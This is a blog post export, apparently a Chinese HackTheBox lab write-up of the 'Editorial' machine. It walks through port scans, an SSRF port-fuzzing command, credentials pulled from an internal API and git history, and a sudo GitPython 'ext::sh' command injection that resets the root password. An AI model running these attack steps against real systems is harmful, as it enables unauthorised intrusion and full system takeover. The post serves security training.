{"id":446,"date":"2026-05-10T09:48:20","date_gmt":"2026-05-10T01:48:20","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=446"},"modified":"2026-05-10T09:48:20","modified_gmt":"2026-05-10T01:48:20","slug":"446","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2026\/05\/10\/446\/","title":{"rendered":"\u3010CWES\u5907\u8003\u3011HTB\u9776\u673a Editorial \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<p>&nbsp;<\/p>\n<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<code>10.129.196.85<\/code>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.129.196.85 (10.129.196.85) 56(84) bytes of data.\n64 bytes from 10.129.196.85: icmp_seq=1 ttl=63 time=414 ms\n64 bytes from 10.129.196.85: icmp_seq=2 ttl=63 time=426 ms\n64 bytes from 10.129.196.85: icmp_seq=3 ttl=63 time=895 ms\n64 bytes from 10.129.196.85: icmp_seq=4 ttl=63 time=534 ms\n\n--- 10.129.196.85 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3002ms\nrtt min\/avg\/max\/mdev = 413.875\/567.316\/895.136\/194.939 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u72b6\u6001\u8f83\u5dee\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.99 scan initiated Fri May  8 08:41:55 2026 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.196.85\nNmap scan report for 10.129.196.85\nHost is up (7.2s latency).\nAll 65535 scanned ports on 10.129.196.85 are in ignored states.\nNot shown: 54852 open|filtered tcp ports (no-response), 10683 closed tcp ports (reset)\n\n# Nmap done at Fri May  8 08:43:58 2026 -- 1 IP address (1 host up) scanned in 122.19 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.99 scan initiated Fri May  8 08:54:10 2026 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.196.85\nWarning: 10.129.196.85 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.196.85\nHost is up (0.45s latency).\nNot shown: 49174 closed tcp ports (conn-refused), 16359 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)\n|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)\n80\/tcp open  http    nginx 1.18.0 (Ubuntu)\n|_http-title: Did not follow redirect to http:\/\/editorial.htb\n|_http-server-header: nginx\/1.18.0 (Ubuntu)\nDevice type: general purpose\nRunning: Linux 4.X|5.X\nOS CPE: cpe:\/o:linux:linux_kernel:4 cpe:\/o:linux:linux_kernel:5\nOS details: Linux 4.15 - 5.19\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   632.35 ms 10.10.16.1\n2   701.03 ms 10.129.196.85\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Fri May  8 08:57:27 2026 -- 1 IP address (1 host up) scanned in 196.70 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.99 scan initiated Fri May  8 09:00:35 2026 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.196.85\nWarning: 10.129.196.85 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.129.196.85\nHost is up (0.73s latency).\nAll 65535 scanned ports on 10.129.196.85 are in ignored states.\nNot shown: 65431 open|filtered udp ports (no-response), 104 closed udp ports (port-unreach)\n\n# Nmap done at Fri May  8 09:05:21 2026 -- 1 IP address (1 host up) scanned in 286.11 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u8fd0\u884c<code>Ubuntu Linux<\/code>\u64cd\u4f5c\u7cfb\u7edf\uff0c\u5f00\u653e\u4e86<code>22\/ssh<\/code>\u548c<code>80\/http<\/code>\u670d\u52a1\uff0c\u4e3b\u57df\u540d\u4e3a<code>editorial.htb<\/code>\uff0c\u4e2d\u95f4\u4ef6\u4e3a<code>Nginx<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>ssh<\/code>\u5de5\u5177\u8fde\u63a5\u9776\u673a\uff0c\u786e\u5b9a\u5176\u767b\u5f55\u65b9\u5f0f\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh root@editorial.htb<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a3 ROOT EDIT VIEWHELP SESSION ACTIONS (ROOTSMISAKAI9008-PC)-{\/HOME\/-\/DOCUMENTS\/PENTEST_NOTES\/EDITORIAL\/NMAP_REPORTS) SSH ROOTQEDITORIAL.HTB THE AUTHENTICITY OF HOST EDITORIAL.HTB (10.129.129.196.85) CAN'T BE ESTABLISHED. ED25519 KEY FINGERPRINT IS: SHA256:YR+IBHVYSWNLE4XYIPAOG4SFAPIPNACQ7+XUPFIR70Q THIS KEY IS NOT KNOWN BY ANY OTHER NAMES. ARE YOU SURE YOU WANT TO CONTINUE CONNECTING (YES\/NO\/[FINGERPRINT])? YES WARNING: PERMANENTLY ADDED 'EDITORIAL.HTB\" (ED25519) TO THE LIST OF KNOWN HOSTS: ROOT@EDITORIAL.HTB'S PASSWORD: PERMISSION DENIED, PLEASE TRY AGAIN. ROOT@EDITORIAL.HTB'S PASSWORD: PERMISSION DENIED, PLEASE TRY AGAIN. ROOT@EDITORIAL.HTB'S PASSWORD: ROOT@EDITORIAL.HTB: PERMISSION DENIED (PUBLICKEY,PASSWORD). -ROOTGMISAKA19008-PC)-{\/HOME\/-\/DOCUMENTS\/PENTEST_NOTES\/EDITORIAL\/NMAP_REPORTS] --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778202707112-9991de8e-f694-48e4-84d6-3ca3d76ff690.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9776\u673a\u5141\u8bb8\u4f7f\u7528\u5bc6\u94a5\u548c\u5bc6\u7801\u4e24\u79cd\u65b9\u5f0f\u767b\u5f55\u3002<\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/editorial.htb\/<\/code><\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778284769999-616ca681-78d2-401e-82aa-31a38431f42c.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7ad9\u70b9\u8c8c\u4f3c\u4e3a\u4e00\u5bb6\u51fa\u7248\u793e\u7684\u4e3b\u9875\uff0c\u9875\u9762\u9876\u680f\u5b58\u5728<code>Home<\/code>\u3001<code>Publish with us<\/code>\u548c<code>About<\/code>\u4e09\u4e2a\u94fe\u63a5\u3002<\/p>\n<p>\u70b9\u51fb<code>Publish with us<\/code>\u94fe\u63a5\uff0c\u9875\u9762\u8df3\u8f6c\u5230\u4e86\u65b0\u4e66\u51fa\u7248\u7533\u8bf7\u9875\u9762<code>\/upload<\/code>\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778331042750-d85b2ba6-8a72-4b6c-87c6-91b40c6ed8b4.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u7533\u8bf7\u8868\u5355\u4e0a\u65b9\u4e3a\u65b0\u4e66\u56fe\u50cf\u7684\u4e0a\u4f20\u533a\u57df\uff0c\u652f\u6301\u7528\u6237\u8f93\u5165\u56fe\u50cf<code>URL<\/code>\u6216\u76f4\u63a5\u4e0a\u4f20\u3002\u5c1d\u8bd5\u590d\u5236\u4e00\u5f20\u56fe\u7247\uff0c\u5728\u672c\u5730\u542f\u52a8<code>SimpleHTTPServer<\/code>\u76d1\u542c\uff0c\u968f\u540e\u5c1d\u8bd5\u901a\u8fc7\u8f93\u5165<code>URL<\/code>\u7684\u65b9\u5f0f\uff0c\u8ba9\u670d\u52a1\u7aef\u4e0b\u8f7d\u56fe\u50cf\u6587\u4ef6\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778331932685-ddd0e40c-13fc-4773-b277-2f069e86459e.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01\u6000\u7591\u6b64\u5904\u5b58\u5728<code>SSRF<\/code>\u6f0f\u6d1e\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h3>SSRF\u6f0f\u6d1e\u63a2\u6d4b\u5185\u7f51\u670d\u52a1<\/h3>\n<p>\u5728<code>Web<\/code>\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u6211\u4eec\u6210\u529f\u53d1\u73b0\u7ad9\u70b9<code>\/upload<\/code>\u9875\u9762\u5b58\u5728\u6839\u636e\u7528\u6237\u8f93\u5165<code>URL<\/code>\u4e0b\u8f7d\u56fe\u7247\u7684\u529f\u80fd\uff0c\u73b0\u5728\u5c1d\u8bd5\u4f7f\u7528<code>BurpSuite<\/code>\u8fdb\u884c\u6293\u5305\uff0c\u6d4b\u8bd5<code>SSRF<\/code>\u6f0f\u6d1e\u3002<\/p>\n<p>\u542f\u52a8<code>BurpSuite<\/code>\u540e\u91cd\u65b0\u8f93\u5165\u56fe\u50cf\u6587\u4ef6<code>URL<\/code>\u5e76\u70b9\u51fb<code>Preview<\/code>\u6309\u94ae\uff0c\u6293\u53d6<code>HTTP<\/code>\u6d41\u91cf\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778332651303-3be10e12-3884-411d-aea7-7a67e2652e6d.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e0a\u4f20\u8bf7\u6c42\u5305\u4e3a<code>POST<\/code>\u8868\u5355\uff0c\u53c2\u6570<code>bookurl<\/code>\u4e3a\u56fe\u50cf\u6587\u4ef6<code>URL<\/code>\u53c2\u6570\uff1b\u5f53<code>URL<\/code>\u6b63\u786e\u65f6\uff0c\u63a5\u53e3\u6839\u636e<code>URL<\/code>\u4e0b\u8f7d\u6587\u4ef6\uff0c\u4e0b\u8f7d\u5b8c\u6bd5\u540e\u8fd4\u56de\u6587\u4ef6\u7684\u8bbf\u95ee\u94fe\u63a5\uff0c\u5982<code>URL<\/code>\u4e0d\u6b63\u786e\uff0c\u5219\u4f1a\u76f4\u63a5\u8fd4\u56de\u7ad9\u70b9\u9ed8\u8ba4\u7684\u56fe\u6807\u94fe\u63a5\uff0c\u8868\u793a\u6587\u4ef6\u4e0d\u5b58\u5728\u6216\u4e0b\u8f7d\u9519\u8bef\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778332931660-96658756-5f1c-4d7a-9b07-96772c0ff248.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u5c06<code>URL<\/code>\u66f4\u6362\u4e3a<code>file:\/\/<\/code>\u4f2a\u534f\u8bae\uff0c\u8bd5\u56fe\u52a0\u8f7d<code>\/etc\/passwd<\/code>\u6587\u4ef6\uff0c\u4f46\u9875\u9762\u76f4\u63a5\u8fd4\u56de\u4e86\u9ed8\u8ba4\u56fe\u6807\u94fe\u63a5\uff0c\u4e14\u65e0\u6cd5\u4f7f\u7528\u6dfb\u52a0<code>..\/<\/code>\u5b57\u7b26\u7b49\u4e00\u7cfb\u5217\u65b9\u6cd5\u7ed5\u8fc7\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778333049700-b9254599-9f3c-43d0-9e99-f8b50e5493c7.png\" alt=\"\" \/><\/p>\n<p>\u601d\u7d22\u7247\u523b\u540e\uff0c\u51b3\u5b9a\u4f7f\u7528<code>http<\/code>\u534f\u8bae\u8fdb\u884c\u7aef\u53e3\u626b\u63cf\uff0c\u4ee5\u63a2\u6d4b\u9776\u673a\u672c\u5730\u4e0a\u5f00\u653e\u7684<code>Web<\/code>\u670d\u52a1\u3002\u76f4\u63a5\u542f\u52a8<code>wfuzz<\/code>\u5de5\u5177\uff0c\u5c06<code>URL<\/code>\u4e2d\u7684\u7aef\u53e3\u53f7\u8bbe\u7f6e\u4e3a\u6a21\u7cca\u53c2\u6570\uff0c\u5e76\u8fc7\u6ee4\u54cd\u5e94\u5185\u5bb9\u4e3a\u7ad9\u70b9\u9ed8\u8ba4\u56fe\u6807<code>URL<\/code>\u7684\u8bf7\u6c42\u5c1d\u8bd5\uff1a<\/p>\n<pre><code class=\"language-shell\">wfuzz -c -z range,1-65535 -t 70 -X POST -H \"Content-Type: multipart\/form-data; boundary=----geckoformboundary87253bb3479ab18eb86a5591026effd4\" -d '------geckoformboundary87253bb3479ab18eb86a5591026effd4\nContent-Disposition: form-data; name=\"bookurl\"\n\nhttp:\/\/127.0.0.1:FUZZ\/\n------geckoformboundary87253bb3479ab18eb86a5591026effd4\nContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\nContent-Type: application\/octet-stream\n\n------geckoformboundary87253bb3479ab18eb86a5591026effd4--' --hs \"\/static\/images\/unsplash_photo_1630734277837_ebe62757b6e0.jpeg\" http:\/\/editorial.htb\/upload-cover<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778333510313-de68290d-4295-40c1-b58a-eb20373f5081.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u9776\u673a\u672c\u5730\u5f00\u653e<code>5000\/http<\/code>\u670d\u52a1\uff01<\/p>\n<h2>API\u6e17\u900f\u83b7\u53d6\u7cfb\u7edf\u7528\u6237\u51ed\u636e<\/h2>\n<p>\u5728\u4e4b\u524d\u7684<code>SSRF<\/code>\u6f0f\u6d1e\u5229\u7528\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u6210\u529f\u53d1\u73b0\u4e86\u9776\u673a\u5728\u672c\u5730\u5f00\u542f\u4e86<code>5000\/http<\/code>\u670d\u52a1\uff0c\u73b0\u5728\u901a\u8fc7<code>SSRF<\/code>\u6f0f\u6d1e\u5bf9<code>Web<\/code>\u670d\u52a1\u8fdb\u884c\u8bbf\u95ee\u3002\u76f4\u63a5\u5c06<code>\/upload-cover<\/code>\u63a5\u53e3<code>bookurl<\/code>\u53c2\u6570\u503c\u6539\u4e3a<code>http:\/\/127.0.0.1:5000\/<\/code>\u540e\u53d1\u9001\u8bf7\u6c42\u5305\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778375318919-bb13cfa5-f679-416c-83a4-69cffa27ac4f.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u8bbf\u95ee\u8fd4\u56de\u7684\u4e0b\u8f7d\u6587\u4ef6\u8def\u5f84\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778375330971-2cec52e2-a2c6-49ab-bd04-7042413c06d8.png\" alt=\"\" \/><\/p>\n<p>\u663e\u7136\u5185\u7f51<code>5000<\/code>\u7aef\u53e3<code>Web<\/code>\u670d\u52a1\u8fd4\u56de\u4e86<code>JSON<\/code>\u683c\u5f0f\u7684<code>API<\/code>\u7aef\u70b9\u5217\u8868\uff1a<\/p>\n<pre><code class=\"language-plain\">\/api\/latest\/metadata\n\/api\/latest\/metadata\/changelog\n\/api\/latest\/metadata\/messages\/promos\n\/api\/latest\/metadata\/messages\/coupons\n\/api\/latest\/metadata\/messages\/authors\n\/api\/latest\/metadata\/messages\/how_to_use_platform<\/code><\/pre>\n<p>\u901a\u8fc7<code>SSRF<\/code>\u6f0f\u6d1e\u9010\u4e2a\u5bf9\u4e0a\u8ff0\u7aef\u70b9\u8fdb\u884c\u8bbf\u95ee\uff0c\u5728\u8bbf\u95ee<code>authors<\/code>\u63a5\u53e3\u65f6\uff0c\u53d1\u73b0\u4e86\u786c\u7f16\u7801\u5728\u7528\u6237\u63cf\u8ff0\u4fe1\u606f\u4e2d\u7684\u51ed\u636e\uff1a<\/p>\n<pre><code class=\"language-plain\">http:\/\/127.0.0.1:5000\/api\/latest\/metadata\/messages\/authors<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778375751039-22a644c8-1b52-4e90-8d7d-f2469f411174.png\" alt=\"\" \/><\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778375768401-f9121282-8972-4b7a-86a7-9986685bb5c8.png\" alt=\"\" \/><\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>dev<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>dev080217_devAPI!@<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh dev@editorial.htb<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778375944706-37359d3b-a31a-4e0a-8b2a-f5947fe2e8d8.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u76ee\u5f55\u4fe1\u606f\u6536\u96c6<\/h2>\n<p>\u767b\u5f55<code>dev<\/code>\u7528\u6237\u540e\uff0c\u8fdb\u884c\u672c\u5730\u4fe1\u606f\u6536\u96c6\u3002\u5728\u7528\u6237\u5bb6\u76ee\u5f55\u4e0b\u53d1\u73b0<code>apps<\/code>\u5b50\u76ee\u5f55\uff0c\u8be5\u76ee\u5f55\u5185\u5b58\u5728<code>.git<\/code>\u5143\u6570\u636e\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-shell\">ls -lA ~\/apps<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778376104117-1a303411-97a3-46a0-8fa2-3856c36e204b.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u8fdb\u5165<code>~\/apps<\/code>\u6587\u4ef6\u5939\uff0c\u4f7f\u7528<code>git<\/code>\u547d\u4ee4\u67e5\u770b\u5386\u53f2\u63d0\u4ea4\u8bb0\u5f55\uff1a<\/p>\n<pre><code class=\"language-shell\">cd apps &amp;&amp; git log<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778376193304-f63f38de-5570-4c82-a7c2-b00c782a27b9.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5<code>Git<\/code>\u76ee\u5f55\u5185\u53d1\u751f\u8fc7<code>5<\/code>\u6b21\u63d0\u4ea4\uff0c\u6839\u636e\u6bcf\u6b21\u63d0\u4ea4\u7684\u63cf\u8ff0\uff0c\u51b3\u5b9a\u67e5\u770b\u7f16\u53f7\u4e3a<code>1e84a036b2f33c59e2390730699a488c65643d28<\/code>\u7684\u63d0\u4ea4\u8bb0\u5f55\uff1a<\/p>\n<pre><code class=\"language-shell\">git show 1e84a036b2f33c59e2390730699a488c65643d28<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778376344513-5a3f2798-549e-4cb8-b8db-85c36563fc7d.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u4e86\u5185\u7f51\u670d\u52a1\u5386\u53f2\u7248\u672c\u6e90\u4ee3\u7801\u4e2d\u7684\u7cfb\u7edf\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>prod<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>080217_Producti0n_2023!@<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh prod@editorial.htb<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778376479591-6b5a3ccc-71a7-40a7-910d-2925db7aa3e3.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01<\/p>\n<h2>Sudo\u811a\u672c GitPython\u5371\u9669\u914d\u7f6e\u5229\u7528<\/h2>\n<p>\u767b\u5f55<code>prod<\/code>\u7528\u6237\u540e\uff0c\u6267\u884c<code>sudo -l<\/code>\u547d\u4ee4\u67e5\u770b\u5f53\u524d\u7528\u6237<code>Sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778376624436-247b4dd7-7bab-4ac3-acfc-a2d73742c4b2.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u7528\u6237\u53ef\u4ee5<code>root<\/code>\u8eab\u4efd\uff0c\u901a\u8fc7<code>python3<\/code>\u8fd0\u884c<code>\/opt\/internal_apps\/clone_changes\/clone_prod_change.py<\/code>\u811a\u672c\u3002\u76f4\u63a5\u67e5\u770b\u811a\u672c\u6e90\u4ee3\u7801\uff1a<\/p>\n<pre><code class=\"language-python\">#!\/usr\/bin\/python3\n\nimport os\nimport sys\nfrom git import Repo\n\nos.chdir('\/opt\/internal_apps\/clone_changes')\n\nurl_to_clone = sys.argv[1]\n\nr = Repo.init('', bare=True)\nr.clone_from(url_to_clone, 'new_changes', multi_options=[\"-c protocol.ext.allow=always\"])<\/code><\/pre>\n<p>\u53ef\u53d1\u73b0\u8be5\u811a\u672c\u901a\u8fc7<code>GitPython<\/code>\u5e93\u5b9e\u73b0\u4e86\u4ece\u76ee\u6807<code>Git<\/code>\u5730\u5740\u514b\u9686\u4ed3\u5e93\u7684\u529f\u80fd\uff0c\u800c\u811a\u672c\u5728\u8c03\u7528<code>Repo.clone_from()<\/code>\u65b9\u6cd5\u65f6\uff0c\u5f00\u542f\u4e86<code>protocol.ext.allow<\/code>\u914d\u7f6e\u9879\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4f20\u5165\u5e26\u6709<code>ext::sh<\/code>\u4f2a\u534f\u8bae\u7684\u6076\u610f\u5730\u5740\uff0c\u89e6\u53d1\u4efb\u610f\u547d\u4ee4\u6267\u884c\u3002<\/p>\n<p>\u9996\u5148\u65b0\u5efa\u6076\u610f\u811a\u672c<code>\/tmp\/changerootpw.sh<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">cat &lt;&lt; EOF &gt; \/tmp\/changerootpw.sh\n#!\/bin\/bash\necho \"root:Asd310056\" | chpasswd\nEOF\nchmod +x \/tmp\/changerootpw.sh<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778377225723-07279a08-b670-4495-918a-0d310c3b009b.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u901a\u8fc7<code>sudo<\/code>\u542f\u52a8<code>clone_prod_change.py<\/code>\u811a\u672c\uff0c\u4f20\u5165<code>ext::sh<\/code>\u4f2a\u534f\u8bae\u5730\u5740\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo python3 \/opt\/internal_apps\/clone_changes\/clone_prod_change.py \"ext::sh -c '\/tmp\/changerootpw.sh'\"\nsu -<\/code><\/pre>\n<p><!-- \u8fd9\u662f\u4e00\u5f20\u56fe\u7247\uff0cocr \u5185\u5bb9\u4e3a\uff1a --><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/42816956\/1778377390857-d1d0fad8-81a3-43df-8c16-42a9446ee9b7.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; \u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.129.196.85\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.129.1 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","_seopress_analysis_target_kw":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[14,4],"tags":[],"class_list":["post-446","post","type-post","status-publish","format-standard","hentry","category-linux_machines","category-other_articles"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/446","targetHints":{"allow":["G